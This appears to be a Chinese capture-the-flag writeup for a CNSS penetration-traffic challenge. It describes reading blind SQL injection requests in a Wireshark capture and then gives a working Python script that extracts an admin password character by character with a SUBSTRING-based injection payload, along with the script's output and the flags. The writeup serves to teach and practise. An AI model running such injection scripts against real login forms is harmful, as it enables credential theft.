

# 渗透流量分析 memory

为什么需要写writeup.....

直接提交不行吗.....

## Step 1

CNSS{S0L1NJ3CTION}

首先是第一题.....很简单首先在WireShark筛选器筛出http.request，可以发现很多Destination为45.78.50.9的POST，简单分析即可看出来，这是对admin账户的password进行逐位枚举查询。关注每一个对45.78.50.9的GET请求，因为每次搜到password的一位都会break掉，于是每个GET前的那个对于45.78.50.9的POST里password的注入值都是每一位的密码。

至于这flag，可以，这很geek。我看了半天才看出来是SQL INJECTION

## Step 2

CNSS{PRACTIC3\_MAKE\_PERFECT}

对于题目的理解出了一点偏差，我一开始以为密码还是上面的那个flag：CNSS{S0L1NJ3CTION}，于是用各种方式POST了个遍。当然，同时也开着python跑枚举代码注入（尽管神tm就是跑不出结果，后来发现是寝室网络问题）。后来可以后发先至发现password的前几位值（从P开始就不一样了.....）和上面的不一样.....于是大概就懂了。

中途又因为网络问题而break无数次，搞得代码修改过很多次。

代码如下

```
1  #!/usr/local/bin/python3
2  import urllib.request
3  form = {
4      'username': "admin",
5      'password': '',
6  }
7  url = 'http://45.78.50.9/practice2/confirm.php'
8  ans = ''
9
10 for i in range(1, 30):
11     for j in range(0x20, 0x80):
12         form['password'] = "'OR/**/(SUBSTRING(password,%d,1)='%c')#" % (i, j)
13         post = urllib.parse.urlencode(form).encode()
14         print(i, chr(j), end=' ')
15         if urllib.request.urlopen(url, post).read() != b'failed':
16             print(True)
17             ans += chr(j)
18             break
19         else:
20             print(False)
21 print(ans)
```

Python

```
C:\WINDOWS\system32\bash.exe
27 f False
27 g False
27 h False
27 i False
27 j False
27 k False
27 l False
27 m False
27 n False
27 o False
27 p False
27 q False
27 r False
27 s False
27 t False
27 u False
27 v False
27 w False
27 x False
27 y False
27 z False
27 { False
27 | False
27 } True
28 True
29 True
CNSS{PRACTIC3_MAKE_PERFECT}

[johnson@LENOVO]--[✓]--[2016-09-29 19:14:03]--[mnt/c/Users/johnson]--[27 files, 23Mb]
>
```

这是重新跑了一遍跑出来的结果。